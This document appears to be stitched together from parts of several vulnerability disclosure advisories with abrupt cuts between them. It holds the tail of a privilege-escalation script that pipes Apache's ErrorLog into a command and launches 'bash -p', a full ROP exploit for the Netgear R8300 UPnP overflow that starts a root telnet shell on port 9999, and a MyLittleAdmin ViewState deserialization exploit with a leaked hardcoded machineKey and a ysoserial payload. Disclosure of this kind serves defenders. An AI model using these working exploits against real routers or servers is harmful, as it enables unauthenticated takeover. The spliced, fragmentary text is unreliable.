  f.write('''
<VirtualHost *:80>
DocumentRoot /var/www/
ErrorLog "|{}"
</VirtualHost>
'''.format(cmd.replace('"', '\"')))

os.system(SUDO_RELOAD)
os.execvp('bash', ['bash', '-p'])

TL;DR

Find out how we exploited an unauthenticated Netgear Nighthawk R8300 vulnerability and gained root access to the device.

Vulnerability Summary

The Nighthawk X8 AC5000 (R8300) router released in 2014, is a popular device sold by Netgear with almost 2000 positive reviews on Amazon. A vulnerability in the way the R8300 handles UPNP packets allows unauthenticated attackers to cause the device to overflow an internal buffer and execute arbitrary code with the privileges of the ‘root’ user.

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Netgear Nighthawk R8300 running firmware versions prior to 1.0.2.134

Vendor Response

The vendor has released a patch and an advisory: https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211

Vulnerability Root Cause Analysis

A vulnerability in the way the R8300 handles incoming UPNP packets by its UPNP daemon allows remote attackers to overflow an internal buffer.

Below picture is the point that recv input point and vulFunction, we can send data to size 0x1fff:

If we look into vulFunction, the pointer (0x025E70) is overwritten with the return address of the strcpy function. The strcpy function has two arguments. arg1 is dst buffer, arg2 is src buffer and it will perform a copy until it meets the NULL byte. The dst buffer local variable is located at the position of ebp-0x634. The src buffer is under our full control and is only limited by its size to 0x1fff. By overflowing the dst buffer we can control PC value:

In order to successfully change the PC value, we need to reach the return part of vulFunction. We have to set its value to an existing pointer value that exists in memory (other loaded libraries functions).

By correctly crafting the data, we obtain control over the PC value:

ASLR Bypassing through Stack Reuse

The router has the ASLR mitigation turned on, which we can bypass using a ROP Attack. However, we are performing a copy call through the use of strcpy, which is sensitive to NULL bytes, which would in turn prevent us to use the ROP attack. Therefore to utilize an address that contains a NULL byte, we will need to use a stack reuse attack.

We will do this by combining two payloads, the composition of first payload is as follows:

s.send('a\x00'+expayload) #expayload is rop gadget

We will be sending a “a\x00” value at the beginning of the payload to avoid triggering the UPNP vulnerability, until our payload is in the the stack.
The second payload will control the PC value and change it to 0x230f0 and trigger the first payload in the stack. 0x230f0 gadget can control stack pointer.

The figure below illustrates the overall exploit and payloads:

We decided to use the BSS area of 0x9E150 to place our strings that we will later use for exploitation. Using strcpy gadget 0x13648 and string gadget in the binary, we can create the exploiting payload and execute system gadget 0x1A83C.

Demo

Exploit

import socket
import time
import sys
from struct import pack

a= """
    # NETGEAR Nighthawk R8300 RCE Exploit upnpd, tested exploit fw version V1.0.2.130
    # Date : 2020.03.09 
    # POC : system("telnetd -l /bin/sh -p 9999& ") Execute 
    # Desc : execute telnetd to access router						 
"""
print a

p32 = lambda x: pack("<L", x)

payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7ABBBc9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7DDDBa9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7 AAA Aa9CbEEEECb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4F'
expayload = ''

payload = payload.replace('z3Bz','\xff\xff\x1b\x40') # Need to Existed Address

payload = payload.replace(' AAA ','\xf0\x30\x02\x00') #change eip

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

"""
.text:00013644                 MOV             R0, R10 ; dest
.text:00013648                 MOV             R1, R5  ; src
.text:0001364C                 BL              strcpy
.text:00013650                 MOV             R0, R4
.text:00013654                 ADD             SP, SP, #0x5C ; '\'
.text:00013658                 LDMFD           SP!, {R4-R8,R10,PC}
"""

bssBase = 0x9E150   #string bss BASE Address

expayload += 'a' * 4550
expayload += p32(bssBase+3) # R4 Register
expayload += p32(0x3F340) # R5 Register //tel
expayload += 'IIII' # R6 Register
expayload += 'HHHH' # R7 Register
expayload += 'GGGG' # R8 Register
expayload += 'FFFF' # R9 Register
expayload += p32(bssBase) # R10 Register
expayload += 'BBBB' # R11 Register
expayload += p32(0x13644) # strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+6) #R4
expayload += p32(0x423D7) #R5  //telnet
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8 
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy


expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+8) #R4
expayload += p32(0x40CA4 ) #R5  //telnetd\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+10) #R4
expayload += p32(0x4704A) #R5  //telnetd\x20-l
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+11) #R4
expayload += p32(0x04C281) #R5  //telnetd\x20-l/bin/\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+16) #R4
expayload += p32(0x40CEC) #R5  //telnetd\x20-l/bin/
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy


expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+18) #R4
expayload += p32(0x9CB5) #R5  //telnetd\x20-l/bin/sh
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy


expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+22) #R4
expayload += p32(0x41B17) #R5  //telnetd\x20-l/bin/sh\x20-p\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+24) #R4
expayload += p32(0x03FFC4) #R5  //telnetd\x20-l/bin/sh\x20-p\x2099
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+26) #R4
expayload += p32(0x03FFC4) #R5  //telnetd\x20-l/bin/sh\x20-p\x209999
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+28) #R4
expayload += p32(0x4A01D) #R5  //telnetd\x20-l/bin/sh\x20-p\x209999\x20&
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+30) #R4
expayload += p32(0x461C1) #R5  //telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

print "[*] Make Payload ..."

"""
.text:0001A83C                 MOV             R0, R4  ; command
.text:0001A840                 BL              system
"""

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase) #R4
expayload += p32(0x47398) #R5 
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x1A83C) #system(string) telnetd -l

s.connect(('239.255.255.250', 1900))

print "[*] Send Proof Of Concept payload"

s.send('a\x00'+expayload)#expayload is rop gadget 

s.send(payload)

def checkExploit():
	soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	try:
		ret = soc.connect(('192.168.1.1',9999))
		return 1

	except:
		return 0
	
time.sleep(5)

if checkExploit():
	print "[*] Exploit Success"
	print "[*] You can access telnet 192.168.1.1 9999"
else:
	print "[*] Need to Existed Address cross each other"
	print "[*] You need to reboot or execute upnpd daemon to execute upnpd"
	print "[*] To exploit reexecute upnpd, description"
	print "[*] Access http://192.168.1.1/debug.htm and enable telnet"
	print "[*] then, You can access telnet. execute upnpd(just typing upnpd)"

s.close()
print """

[*] Done ...
"""

Go into IIS > Machine Keys > Generate new Key > Apply
Run: IISreset

Vulnerable Key

The following is the hardcoded key used by MyLittleAdmin, by inserting its values to ysoserial.exe it is possible to create a payload that will execute a command of our choice:

<machineKey
validationKey="5C7EEF6650639D2CB8FAA0DA36AF24452DCF69065F2EDC2
C8F2F44C0220BE2E5889CA01A207FC5FCE62D1A5A4F6D2410722261E6A33
E77E0628B17AA928039BF" decryptionKey="DC47E74EA278F789D2FF0E412AD840A89C10171F408D8AC4" validation="SHA1" />

Demo

Have the skills to find similar vulnerabilities? We’re on the lookout for Server Management Tool researchers to submit their finding, receive very generous rewards and join our team. Click below for more information:

Exploit

The provided exploit code will connect to a remote server and send a payload that starts a calc.exe in the context of IIS Application Engine

#!/usr/bin/python3
import requests
import sys
import logging

from bs4 import BeautifulSoup

# These two lines enable debugging at httplib level (requests->urllib3->http.client)
# You will see the REQUEST, including HEADERS and DATA, and RESPONSE with HEADERS but without DATA.
# The only thing missing will be the response.body which is not logged.
try:
    import http.client as http_client
except ImportError:
    # Python 2
    import httplib as http_client

http_client.HTTPConnection.debuglevel = 0

# You must initialize logging, otherwise you'll not see debug output.
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True

print("Connecting to remote server and collecting ASP state and event values")
r = requests.get('http://10.0.0.38')

soup = BeautifulSoup(r.text, 'html.parser')
# print(soup.prettify())

__VIEWSTATEGENERATOR = ""
__EVENTVALIDATION = ""
ServerName = ""

for input in soup.find_all('input'):
  if input['id'] == '__VIEWSTATEGENERATOR':
    __VIEWSTATEGENERATOR = input['value']
  if input['id'] == '__EVENTVALIDATION':
    __EVENTVALIDATION = input['value']
  if input['name'] == 'fServerName$cControl':
    ServerName = input['value']

# print("__VIEWSTATEGENERATOR: {}\n__EVENTVALIDATION: {}\nServerName: {}".format(__VIEWSTATEGENERATOR, __EVENTVALIDATION, ServerName))

shellcode = "/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgvRWjvTrAIEiQyXFySADCN2ualb9g=="

payload = {
  '__VIEWSTATE' : shellcode,
  '__VIEWSTATEGENERATOR' : __VIEWSTATEGENERATOR,
  '__EVENTVALIDATION' : __EVENTVALIDATION,
  'fServerName$cControl' : ServerName,
  'txtDatabase' : '',
  'listAuthentication' : 'sql',
  'txtLogin' : '',
  'txtPassword' : '',
  'listProtocol' : '',
  'txtPacketSize' : '4096',
  'txtConnectionTimeOut' : '15', 
  'txtExecutionTimeOut' : '0',
  'btnConnect': 'Connect'
}

headers = {
  'Content-Type': 'application/x-www-form-urlencoded',
  'Cookie': 'Skin=default; CultureName=en-US',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  'Origin': 'http://10.0.0.38',
  'Referer': 'http://10.0.0.38/',
  'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36',
}

print("Sending shellcode request to server")
r = requests.post("http://10.0.0.38", data=payload, headers=headers)

if "An error occured." in r.text:
  print("Check Task Manager for win32calc.exe")
else:
  print("Failed to launch shellcode: {}".format(r.text))